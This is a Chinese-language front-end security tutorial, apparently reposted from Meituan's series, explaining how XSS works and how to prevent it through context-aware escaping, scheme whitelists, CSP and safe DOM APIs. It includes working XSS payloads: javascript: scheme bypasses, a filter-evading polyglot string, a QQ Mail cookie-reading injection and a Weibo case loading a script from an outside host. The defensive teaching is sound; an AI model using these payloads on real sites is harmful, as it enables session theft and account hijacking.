前端安全系列(一):如何防止XSS攻擊?

前端安全系列(一):如何防止XSS攻擊?

 

前端安全 

隨着互聯網的高速發展,信息安全問題已經成爲企業最爲關注的焦點之一,而前端又是引起企業安全問題的高危據點。在移動互聯網時代,前端人員除了傳統的 XSS、CSRF 等安全問題以外,又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。固然,瀏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來加強安全性,可是仍存在不少潛在的威脅,這須要前端技術人員不斷進行「查漏補缺」。javascript

近幾年,美團業務高速發展,前端隨之面臨不少安全挑戰,所以積累了大量的實踐經驗。咱們梳理了常見的前端安全問題以及對應的解決方案,將會作成一個系列,但願能夠幫助前端人員在平常開發中不斷預防和修復安全漏洞。本文是該系列的第一篇。php

本文咱們會講解 XSS ,主要包括:html

1.XSS 攻擊的介紹前端

2.XSS 攻擊的分類vue

3.XSS 攻擊的預防和檢測java

4.XSS 攻擊的總結react

5.XSS 攻擊案例git

XSS 攻擊的介紹

在開始本文以前,咱們先提出一個問題,請判斷如下兩個說法是否正確:github

1.XSS 防範是後端 RD(研發人員)的責任,後端 RD 應該在全部用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操做。golang

2.全部要插入到頁面上的數據,都要經過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符後,就能夠插入到頁面中。

若是你還不能肯定答案,那麼能夠帶着這些問題向下看,咱們將逐步拆解問題。

XSS 漏洞的發生和修復

XSS 攻擊是頁面被注入了惡意的代碼,爲了更形象的介紹,咱們用發生在小明同窗身邊的事例來進行說明。

一個案例

某天,公司須要一個搜索頁面,根據 URL 參數決定關鍵詞的內容。小明很快把頁面寫好而且上線。代碼以下:

< input   type = "text"   value = "<%= getParameter(" keyword ") %> ">
< button > 搜索 </ button >
< div >
  您搜索的關鍵詞是: < %=   getParameter (" keyword ") %>
</ div >

然而,在上線後不久,小明就接到了安全組發來的一個神祕連接:

http://xxx/search?keyword="><script>alert('XSS');</script>

小明帶着一種不祥的預感點開了這個連接 [請勿模仿,確認安全的連接才能點開] 。果真,頁面中彈出了寫着」XSS」的對話框。

可惡,中招了!小明眉頭一皺,發現了其中的奧祕:

當瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時,服務端會解析出請求參數 keyword,獲得 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。造成了以下的 HTML:

< input   type = "text"   value = "" > < script > alert( 'XSS' ); </ script > ">
< button > 搜索 </ button >
< div >
  您搜索的關鍵詞是:"> < script > alert( 'XSS' ); </ script >
</ div >

瀏覽器沒法分辨出 <script>alert('XSS');</script> 是惡意代碼,於是將其執行。

這裏不只僅 div 的內容被注入了,並且 input 的 value 屬性也被注入, alert 會彈出兩次。

面對這種狀況,咱們應該如何進行防範呢?

其實,這只是瀏覽器把用戶的輸入當成了腳本進行了執行。那麼只要告訴瀏覽器這段內容是文本就能夠了。

聰明的小明很快找到解決方法,把這個漏洞修復:

< input   type = "text"   value = "<%= escapeHTML(getParameter(" keyword ")) %> ">
< button > 搜索 </ button >
< div >
  您搜索的關鍵詞是: < %=   escapeHTML ( getParameter (" keyword ")) %>
</ div >

escapeHTML() 按照以下規則進行轉義:

|字符|轉義後的字符| 
|-|-| 
|&|&amp;
|<|&lt;
|>|&gt;
|"|&quot;
|'|&#x27;
|/|&#x2F;|

通過了轉義函數的處理後,最終瀏覽器接收到的響應爲:

< input   type = "text"   value = "&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;" > 
< button > 搜索 </ button >
< div >
  您搜索的關鍵詞是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</ div >

惡意代碼都被轉義,再也不被瀏覽器執行,並且搜索詞可以完美的在頁面顯示出來。

經過這個事件,小明學習到了以下知識:

一般頁面中包含的用戶輸入內容都在固定的容器或者屬性內,以文本的形式展現。

攻擊者利用這些頁面的用戶輸入片斷,拼接特殊格式的字符串,突破原有位置的限制,造成了代碼片斷。

攻擊者經過在目標網站上注入腳本,使之在用戶的瀏覽器上運行,從而引起潛在風險。

經過 HTML 轉義,能夠防止 XSS 攻擊。 [事情固然沒有這麼簡單啦!請繼續往下看] 。

注意特殊的 HTML 屬性、JavaScript API

自從上次事件以後,小明會當心的把插入到頁面中的數據進行轉義。並且他還發現了大部分模板都帶有的轉義配置,讓全部插入到頁面中的數據都默認進行轉義。這樣就不怕不當心漏掉未轉義的變量啦,因而小明的工做又漸漸變得輕鬆起來。

可是,做爲導演的我,不可能讓小明這麼簡單、開心地改 Bug 。

不久,小明又收到安全組的神祕連接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,趕緊點開頁面。然而,頁面並無自動彈出萬惡的「XSS」。

小明打開對應頁面的源碼,發現有如下內容:

< a href = "<%= escapeHTML(getParameter(" redirect_to ")) %> ">跳轉... </ a > 

這段代碼,當攻擊 URL 爲 http://xxx/?redirect_to=javascript:alert('XSS'),服務端響應就成了:

< a href = "javascript:alert(&#x27;XSS&#x27;)" > 跳轉... </ a > 

雖然代碼不會當即執行,但一旦用戶點擊 a 標籤時,瀏覽器會就會彈出「XSS」。

可惡,又失策了…

在這裏,用戶的數據並無在位置上突破咱們的限制,仍然是正確的 href 屬性。但其內容並非咱們所預期的類型。

原來不只僅是特殊字符,連 javascript: 這樣的字符串若是出如今特定的位置也會引起 XSS 攻擊。

小明眉頭一皺,想到了解決辦法:

// 禁止 URL 以 "javascript:" 開頭 
xss = getParameter( "redirect_to" ).startsWith( 'javascript:' );
if  (!xss) {
  <a href= "<%= escapeHTML(getParameter(" redirect_to "))%>" >
    跳轉...
  </a>
else  {
  <a href= "/404" >
    跳轉...
  </a>
}

只要 URL 的開頭不是 javascript:,就安全了吧?

安全組隨手又扔了一個鏈接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

這也能執行?…..好吧,瀏覽器就是這麼強大。

小明欲哭無淚,在判斷 URL 開頭是否爲 javascript: 時,先把用戶輸入轉成了小寫,而後再進行比對。

不過,所謂「道高一尺,魔高一丈」。面對小明的防禦策略,安全組就構造了這樣一個鏈接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 通過 URL 解析後變成 javascript:alert('XSS'),這個字符串以空格開頭。這樣攻擊者能夠繞事後端的關鍵詞規則,又成功的完成了注入。

最終,小明選擇了白名單的方法,完全解決了這個漏洞:

// 根據項目狀況進行過濾,禁止掉 "javascript:" 連接、非法 scheme 等 
allowSchemes = [ "http" ,  "https" ];

valid = isValid(getParameter( "redirect_to" ), allowSchemes);

if  (valid) {
  <a href= "<%= escapeHTML(getParameter(" redirect_to "))%>" >
    跳轉...
  </a>
else  {
  <a href= "/404" >
    跳轉...
  </a>
}

經過這個事件,小明學習到了以下知識:

1.作了 HTML 轉義,並不等於高枕無憂。

2.對於連接跳轉,如 &lt;a href="xxx" 或 location.href="xxx",要檢驗其內容,禁止以 javascript: 開頭的連接,和其餘非法的 scheme。

根據上下文采用不一樣的轉義規則

某天,小明爲了加快網頁的加載速度,把一個數據經過 JSON 的方式內聯到 HTML 中:

< script > 
var  initData =  < %=   data.toJSON () %>
</ script >

插入 JSON 的地方不能使用 escapeHTML(),由於轉義 " 後,JSON 格式會被破壞。

但安全組又發現有漏洞,原來這樣內聯 JSON 也是不安全的:

1.當 JSON 中包含 U+2028 或 U+2029 這兩個字符時,不能做爲 JavaScript 的字面量使用,不然會拋出語法錯誤。

2.當 JSON 中包含字符串 時,當前的 script 標籤將會被閉合,後面的字符串內容瀏覽器會按照 HTML 進行解析;經過增長下一個 <script> 標籤等方法就能夠完成注入。

因而咱們又要實現一個 escapeEmbedJSON() 函數,對內聯 JSON 進行轉義。

轉義規則以下:

|字符|轉義後的字符| 
|-|-| 
|U+2028|\u2028
|U+2029|\u2029
|<|\u003c|

修復後的代碼以下:

< script > 
var  initData =  < %=   escapeEmbedJSON ( data.toJSON ()) %>

經過這個事件,小明學習到了以下知識:

1.HTML 轉義是很是複雜的,在不一樣的狀況下要採用不一樣的轉義規則。若是採用了錯誤的轉義規則,頗有可能會埋下 XSS 隱患。

2.應當儘可能避免本身寫轉義庫,而應當採用成熟的、業界通用的轉義庫。

漏洞總結

小明的例子講完了,下面咱們來系統的看下 XSS 有哪些注入的方法:

在 HTML 中內嵌的文本中,惡意內容以 script 標籤造成注入。

在內聯的 JavaScript 中,拼接的數據突破了本來的限制(字符串,變量,方法名等)。

在標籤屬性中,惡意內容包含引號,從而突破屬性值的限制,注入其餘屬性或者標籤。

在標籤的 href、src 等屬性中,包含 javascript: 等可執行代碼。

在 onload、onerror、onclick 等事件中,注入不受控制代碼。

在 style 屬性和標籤中,包含相似 background-image:url("javascript:…"); 的代碼(新版本瀏覽器已經能夠防範)。

在 style 屬性和標籤中,包含相似 expression(…) 的 CSS 表達式代碼(新版本瀏覽器已經能夠防範)。

總之,若是開發者沒有將用戶輸入的文本進行合適的過濾,就貿然插入到 HTML 中,這很容易形成注入漏洞。攻擊者能夠利用漏洞,構造出惡意的代碼指令,進而利用惡意代碼危害數據安全。

XSS 攻擊的分類

經過上述幾個例子,咱們已經對 XSS 有了一些認識。

什麼是 XSS

Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者經過在目標網站上注入惡意腳本,使之在用戶的瀏覽器上運行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。

爲了和 CSS 區分,這裏把攻擊的第一個字母改爲了 X,因而叫作 XSS。

XSS 的本質是:惡意代碼未通過濾,與網站正常的代碼混在一塊兒;瀏覽器沒法分辨哪些腳本是可信的,致使惡意腳本被執行。

而因爲直接在用戶的終端執行,惡意代碼可以直接獲取用戶的信息,或者利用這些信息冒充用戶向網站發起攻擊者定義的請求。

在部分狀況下,因爲輸入的限制,注入的惡意腳本比較短。但能夠經過引入外部的腳本,並由瀏覽器執行,來完成比較複雜的攻擊策略。

這裏有一個問題:用戶是經過哪一種方法「注入」惡意腳本的呢?

不只僅是業務上的「用戶的 UGC 內容」能夠進行注入,包括 URL 上的參數等均可以是攻擊的來源。在處理輸入時,如下內容都不可信:

來自用戶的 UGC 信息

來自第三方的連接

URL 參數

POST 參數

Referer (可能來自不可信的來源)

Cookie (可能來自其餘子域注入)

XSS 分類

根據攻擊的來源,XSS 攻擊可分爲存儲型、反射型和 DOM 型三種。

|類型|存儲區|插入點| 
|-|-| 
|存儲型 XSS|後端數據庫|HTML| 
|反射型 XSS|URL|HTML| 
|DOM 型 XSS|後端數據庫/前端存儲/URL|前端 JavaScript|

存儲區:惡意代碼存放的位置。

插入點:由誰取得惡意代碼,並插入到網頁上。

存儲型 XSS

存儲型 XSS 的攻擊步驟:

1.攻擊者將惡意代碼提交到目標網站的數據庫中。

2.用戶打開目標網站時,網站服務端將惡意代碼從數據庫取出,拼接在 HTML 中返回給瀏覽器。

3.用戶瀏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。

4.惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操做。

這種攻擊常見於帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。

反射型 XSS

反射型 XSS 的攻擊步驟:

1.攻擊者構造出特殊的 URL,其中包含惡意代碼。

2.用戶打開帶有惡意代碼的 URL 時,網站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。

3.用戶瀏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。

4.惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操做。

反射型 XSS 跟存儲型 XSS 的區別是:存儲型 XSS 的惡意代碼存在數據庫裏,反射型 XSS 的惡意代碼存在 URL 裏。

反射型 XSS 漏洞常見於經過 URL 傳遞參數的功能,如網站搜索、跳轉等。

因爲須要用戶主動打開惡意的 URL 才能生效,攻擊者每每會結合多種手段誘導用戶點擊。

POST 的內容也能夠觸發反射型 XSS,只不過其觸發條件比較苛刻(須要構造表單提交頁面,並引導用戶點擊),因此很是少見。

DOM 型 XSS

DOM 型 XSS 的攻擊步驟:

1.攻擊者構造出特殊的 URL,其中包含惡意代碼。

2.用戶打開帶有惡意代碼的 URL。

3.用戶瀏覽器接收到響應後解析執行,前端 JavaScript 取出 URL 中的惡意代碼並執行。

4.惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操做。

DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞,而其餘兩種 XSS 都屬於服務端的安全漏洞。

XSS 攻擊的預防

經過前面的介紹能夠得知,XSS 攻擊有兩大要素:

1.攻擊者提交惡意代碼。

2.瀏覽器執行惡意代碼。

針對第一個要素:咱們是否可以在用戶輸入的過程,過濾掉用戶輸入的惡意代碼呢?

輸入過濾

在用戶提交時,由前端過濾輸入,而後提交到後端。這樣作是否可行呢?

答案是不可行。一旦攻擊者繞過前端過濾,直接構造請求,就能夠提交惡意代碼了。

那麼,換一個過濾時機:後端在寫入數據庫前,對輸入進行過濾,而後把「安全的」內容,返回給前端。這樣是否可行呢?

咱們舉一個例子,一個正常的用戶輸入了 5 < 7 這個內容,在寫入數據庫前,被轉義,變成了 5 &lt; 7

問題是:在提交階段,咱們並不肯定內容要輸出到哪裏。

這裏的「並不肯定內容要輸出到哪裏」有兩層含義:

1.用戶的輸入內容可能同時提供給前端和客戶端,而一旦通過了escapeHTML(),客戶端顯示的內容就變成了亂碼( 5 &lt; 7 )。

2.在前端中,不一樣的位置所需的編碼也不一樣。

當 5 &lt; 7 做爲 HTML 拼接頁面時,能夠正常顯示:< div   title = 「comment」 > 5 &lt; 7 </ div >。

當 5 &lt; 7 經過 Ajax 返回,而後賦值給 JavaScript 的變量時,前端獲得的字符串就是轉義後的字符。這個內容不能直接用於 Vue 等模板的展現,也不能直接用於內容長度計算。不能用於標題、alert 等。

因此,輸入側過濾可以在某些狀況下解決特定的 XSS 問題,但會引入很大的不肯定性和亂碼問題。在防範 XSS 攻擊時應避免此類方法。

固然,對於明確的輸入類型,例如數字、URL、電話號碼、郵件地址等等內容,進行輸入過濾仍是必要的。

既然輸入過濾並不是徹底可靠,咱們就要經過「防止瀏覽器執行惡意代碼」來防範 XSS。這部分分爲兩類:

1.防止 HTML 中出現注入。

2.防止 JavaScript 執行時,執行惡意代碼。

預防存儲型和反射型 XSS 攻擊

存儲型和反射型 XSS 都是在服務端取出惡意代碼後,插入到響應 HTML 裏的,攻擊者刻意編寫的「數據」被內嵌到「代碼」中,被瀏覽器所執行。

預防這兩種漏洞,有兩種常見作法:

1.改爲純前端渲染,把代碼和數據分隔開。

2.對 HTML 作充分轉義。

純前端渲染

純前端渲染的過程:

1.瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。

2.而後瀏覽器執行 HTML 中的 JavaScript。

3.JavaScript 經過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。

在純前端渲染中,咱們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),仍是屬性(.setAttribute),仍是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。

但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx等,請參考下文」預防 DOM 型 XSS 攻擊「部分)。

在不少內部、管理系統中,採用純前端渲染是很是合適的。但對於性能要求高,或有 SEO 需求的頁面,咱們仍然要面對拼接 HTML 的問題。

轉義 HTML

若是拼接 HTML 是必要的,就須要採用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。

經常使用的模板引擎,如 doT.js、ejs、FreeMarker 等,對於 HTML 轉義一般只有一個規則,就是把 & < > " ' / 這幾個字符轉義掉,確實能起到必定的 XSS 防禦做用,但並不完善:

|XSS 安全漏洞|簡單轉義是否有防禦做用| 
|-|-| 
|HTML 標籤文字內容|有| 
|HTML 屬性值|有| 
|CSS 內聯樣式|無| 
|內聯 JavaScript|無| 
|內聯 JSON|無| 
|跳轉連接|無|

因此要完善 XSS 防禦措施,咱們要使用更完善更細緻的轉義策略。

例如 Java 工程裏,經常使用的轉義庫爲 org.owasp.encoder。如下代碼引用自 org.owasp.encoder 的官方說明。

<!-- HTML 標籤內文字內容 --> 
< div > < %=   Encode.forHtml ( UNTRUSTED ) %> </ div >

<!-- HTML 標籤屬性值 -->
< input   value = "<%= Encode.forHtml(UNTRUSTED) %>"  />

<!-- CSS 屬性值 -->
< div   style = "width:<= Encode.forCssString(UNTRUSTED) %>" >

<!-- CSS URL -->
< div   style = "background:<= Encode.forCssUrl(UNTRUSTED) %>" >

<!-- JavaScript 內聯代碼塊 -->
< script >
   var  msg =  "<%= Encode.forJavaScript(UNTRUSTED) %>" ;
  alert(msg);
</ script >
<!-- JavaScript 內聯代碼塊內嵌 JSON -->
< script >
var  __INITIAL_STATE__ =  JSON .parse( '<%= Encoder.forJavaScript(data.to_json) %>' );
</ script >
<!-- HTML 標籤內聯監聽器 -->
< button
   onclick = "alert('<%= Encode.forJavaScript(UNTRUSTED) %>');" >
  click me
</ button >
<!-- URL 參數 -->
< a   href = "/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top" >
<!-- URL 路徑 -->
< a   href = "/page/<%= Encode.forUriComponent(UNTRUSTED) %>" >
<!--
  URL.
  注意:要根據項目狀況進行過濾,禁止掉 "javascript:" 連接、非法 scheme 等
-->
< a   href = '<%=
  urlValidator.isValid(UNTRUSTED) ?
    Encode.forHtml(UNTRUSTED) :
    "/404"
%>' >
  link
</ a >

可見,HTML 的編碼是十分複雜的,在不一樣的上下文裏要使用相應的轉義規則。

預防 DOM 型 XSS 攻擊

DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼自己不夠嚴謹,把不可信的數據看成代碼執行了。

在使用 .innerHTML.outerHTMLdocument.write() 時要特別當心,不要把不可信的數據做爲 HTML 插到頁面上,而應儘可能使用 .textContent.setAttribute() 等。

若是用 Vue/React 技術棧,而且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTMLouterHTML 的 XSS 隱患。

DOM 中的內聯事件監聽器,如 locationonclickonerroronloadonmouseover 等,<a> 標籤的 href 屬性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串做爲代碼運行。若是不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免。

<!-- 內聯事件監聽器中包含惡意代碼 --> 
< img   onclick = "UNTRUSTED"   onerror = "UNTRUSTED"   src = "data:image/png," >
<!-- 連接內包含惡意代碼 -->
< a   href = "UNTRUSTED" > 1 </ a >
< script >
// setTimeout()/setInterval() 中調用惡意代碼
setTimeout( "UNTRUSTED" )
setInterval( "UNTRUSTED" )
// location 調用惡意代碼
location.href =  'UNTRUSTED'
// eval() 中調用惡意代碼
eval ( "UNTRUSTED" )
</ script >

若是項目中有用到這些的話,必定要避免在字符串中拼接不可信數據。

其餘 XSS 防範措施

雖然在渲染頁面和執行 JavaScript 時,經過謹慎的轉義能夠防止 XSS 的發生,但徹底依靠開發的謹慎仍然是不夠的。如下介紹一些通用的方案,能夠下降 XSS 帶來的風險和後果。

Content Security Policy

嚴格的 CSP 在 XSS 的防範中能夠起到如下的做用:

禁止加載外域代碼,防止複雜的攻擊邏輯。

禁止外域提交,網站被攻擊後,用戶的數據不會泄露到外域。

禁止內聯腳本執行(規則較嚴格,目前發現 GitHub 使用)。

禁止未受權的腳本執行(新特性,Google Map 移動版在使用)。

合理使用上報能夠及時發現 XSS,利於儘快修復問題。

關於 CSP 的詳情,請關注前端安全系列後續的文章。

輸入內容長度控制

對於不受信任的輸入,都應該限定一個合理的長度。雖然沒法徹底防止 XSS 發生,但能夠增長 XSS 攻擊的難度。

其餘安全措施

HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入後也沒法竊取此 Cookie。

驗證碼:防止腳本冒充用戶提交危險操做。

XSS 的檢測

上述經歷讓小明收穫頗豐,他也學會了如何去預防和修復 XSS 漏洞,在平常開發中也具有了相關的安全意識。但對於已經上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?

通過一番搜索,小明找到了兩個方法:

1.使用通用 XSS 攻擊字符串手動檢測 XSS 漏洞。

2.使用掃描工具自動檢測 XSS 漏洞。

Unleashing an Ultimate XSS Polyglot一文中,小明發現了這麼一個字符串:

jaVasCript: /*-/*`/*\`/*'/*"/**/ ( /* */ oNcliCk=alert() ) //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 

它可以檢測到存在於 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉連接、內聯 JavaScript 字符串、內聯 CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,而且能繞過一些 XSS 過濾器。

小明只要在網站的各輸入框中提交這個字符串,或者把它拼接到 URL 參數上,就能夠進行檢測了。

http ://xxx/search?keyword=jaVasCript %3 A %2 F*- %2 F* %60 %2 F* %60 %2 F* %27 %2 F* %22 %2 F** %2 F( %2 F* %20 * %2 FoNcliCk %3 Dalert() %20 ) %2 F %2 F %250 D %250 A %250 d %250 a %2 F %2 F %3 C %2 FstYle %2 F %3 C %2 FtitLe %2 F %3 C %2 FteXtarEa %2 F %3 C %2 FscRipt %2 F--! %3 E %3 CsVg %2 F %3 CsVg %2 FoNloAd %3 Dalert() %2 F %2 F %3 E %3 E

除了手動檢測以外,還可使用自動掃描工具尋找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

XSS 攻擊的總結

咱們回到最開始提出的問題,相信同窗們已經有了答案:

1.XSS 防範是後端 RD 的責任,後端 RD 應該在全部用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操做。

 

不正確。由於:

防範存儲型和反射型 XSS 是後端 RD 的責任。而 DOM 型 XSS 攻擊不發生在後端,是前端 RD 的責任。防範 XSS 是須要後端 RD 和前端 RD 共同參與的系統工程。

轉義應該在輸出 HTML 時進行,而不是在提交用戶輸入時。

2.全部要插入到頁面上的數據,都要經過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符後,就能夠插入到頁面中。

不正確。 
不一樣的上下文,如 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉連接、內聯 JavaScript 字符串、內聯 CSS 樣式表等,所須要的轉義規則不一致。 
業務 RD 須要選取合適的轉義庫,並針對不一樣的上下文調用不一樣的轉義規則。

總體的 XSS 防範是很是複雜和繁瑣的,咱們不只須要在所有須要轉義的位置,對數據進行對應的轉義。並且要防止多餘和錯誤的轉義,避免正常的用戶輸入出現亂碼。

雖然很難經過技術手段徹底避免 XSS,但咱們能夠總結如下原則減小漏洞的產生:

利用模板引擎

開啓模板引擎自帶的 HTML 轉義功能。例如: 

在 ejs 中,儘可能使用 <%= data %> 而不是 <%- data %>; 

在 doT.js 中,儘可能使用 {{! data } 而不是 {{= data }; 

在 FreeMarker 中,確保引擎版本高於 2.3.24,而且選擇正確的 freemarker.core.OutputFormat

避免內聯事件

儘可能不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 這種拼接內聯事件的寫法。在 JavaScript 中經過 .addEventlistener() 事件綁定會更安全。

避免拼接 HTML

前端採用拼接 HTML 的方法比較危險,若是框架容許,使用 createElementsetAttribute 之類的方法實現。或者採用比較成熟的渲染框架,如 Vue/React 等。

時刻保持警戒

在插入位置爲 DOM 屬性、連接等位置時,要打起精神,嚴加防範。

增長攻擊難度,下降攻擊後果

經過 CSP、輸入長度配置、接口安全措施等方法,增長攻擊的難度,下降攻擊的後果。

主動檢測和發現

可以使用 XSS 攻擊字符串和自動掃描工具尋找潛在的 XSS 漏洞。

XSS 攻擊案例

QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻擊者發現 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個 URL 的參數 uindomain 未經轉義直接輸出到 HTML 中。

因而攻擊者構建出一個 URL,並引導用戶去點擊: 
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用戶點擊這個 URL 時,服務端取出 URL 參數,拼接到 HTML 響應中:

<script> 
getTop().location.href= "/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa" + "&t=" + "&d=bbbb" ; return   false ; </ script > < script > alert( document .cookie) </ script > "+"...

瀏覽器接收到響應後就會執行 alert(document.cookie),攻擊者經過 JavaScript 便可竊取當前用戶在 QQ 郵箱域名下的 Cookie ,進而危害數據安全。

新浪微博名人堂反射型 XSS 漏洞

攻擊者發現 http://weibo.com/pub/star/g/xyyyd 這個 URL 的內容未通過濾直接輸出到 HTML 中。

因而攻擊者構建出一個 URL,而後誘導用戶去點擊:

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用戶點擊這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:

<li> <a href = "http://weibo.com/pub/star/g/xyyyd" > < script   src = //xxxx.cn/image/t.js > </ script > ">按分類檢索 </ a > </ li > 

瀏覽器接收到響應後就會加載執行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登陸狀態進行關注、發微博、發私信等操做,發出的微博和私信可再帶上攻擊 URL,誘導更多人點擊,不斷放大攻擊範圍。這種竊用受害者身份發佈惡意內容,層層放大攻擊範圍的方式,被稱爲「XSS 蠕蟲」。

擴展閱讀:Automatic Context-Aware Escaping

上文咱們說到:

1.合適的 HTML 轉義能夠有效避免 XSS 漏洞。

2.完善的轉義庫須要針對上下文制定多種規則,例如 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉連接、內聯 JavaScript 字符串、內聯 CSS 樣式表等等。

3.業務 RD 須要根據每一個插入點所處的上下文,選取不一樣的轉義規則。

一般,轉義庫是不能判斷插入點上下文的(Not Context-Aware),實施轉義規則的責任就落到了業務 RD 身上,須要每一個業務 RD 都充分理解 XSS 的各類狀況,而且須要保證每個插入點使用了正確的轉義規則。

這種機制工做量大,全靠人工保證,很容易形成 XSS 漏洞,安全人員也很難發現隱患。

2009年,Google 提出了一個概念叫作:Automatic Context-Aware Escaping

所謂 Context-Aware,就是說模板引擎在解析模板字符串的時候,就解析模板語法,分析出每一個插入點所處的上下文,據此自動選用不一樣的轉義規則。這樣就減輕了業務 RD 的工做負擔,也減小了人爲帶來的疏漏。

在一個支持 Automatic Context-Aware Escaping 的模板引擎裏,業務 RD 能夠這樣定義模板,而無需手動實施轉義規則:

< html > 
   < head >
     < meta   charset = "UTF-8" >
     < title > {{.title}} </ title >
   </ head >
   < body >
     < a   href = "{{.url}}" > {{.content}} </ a >
   </ body >
</ html >

模板引擎通過解析後,得知三個插入點所處的上下文,自動選用相應的轉義規則:

< html > 
   < head >
     < meta   charset = "UTF-8" >
     < title > {{.title | htmlescaper}} </ title >
   </ head >
   < body >
     < a   href = "{{.url | urlescaper | attrescaper}}" > {{.content | htmlescaper}} </ a >
   </ body >
</ html >

目前已經支持 Automatic Context-Aware Escaping 的模板引擎有:

1.go html/template

2.Google Closure Templates

課後做業:XSS 攻擊小遊戲

如下是幾個 XSS 攻擊小遊戲,開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上提交相應的輸入,完成 XSS 攻擊便可通關。

在玩遊戲的過程當中,請各位讀者仔細思考和回顧本文內容,加深對 XSS 攻擊的理解。

alert(1) to win 
prompt(1) to win 
XSS game

參考文獻

Wikipedia. Cross-site scripting, Wikipedia.

OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet, OWASP.

OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.

Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.

Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.

Vue.js. v-html – Vue API docs, Vue.js.

React. dangerouslySetInnerHTML – DOM Elements, React.

相關文章
相關標籤/搜索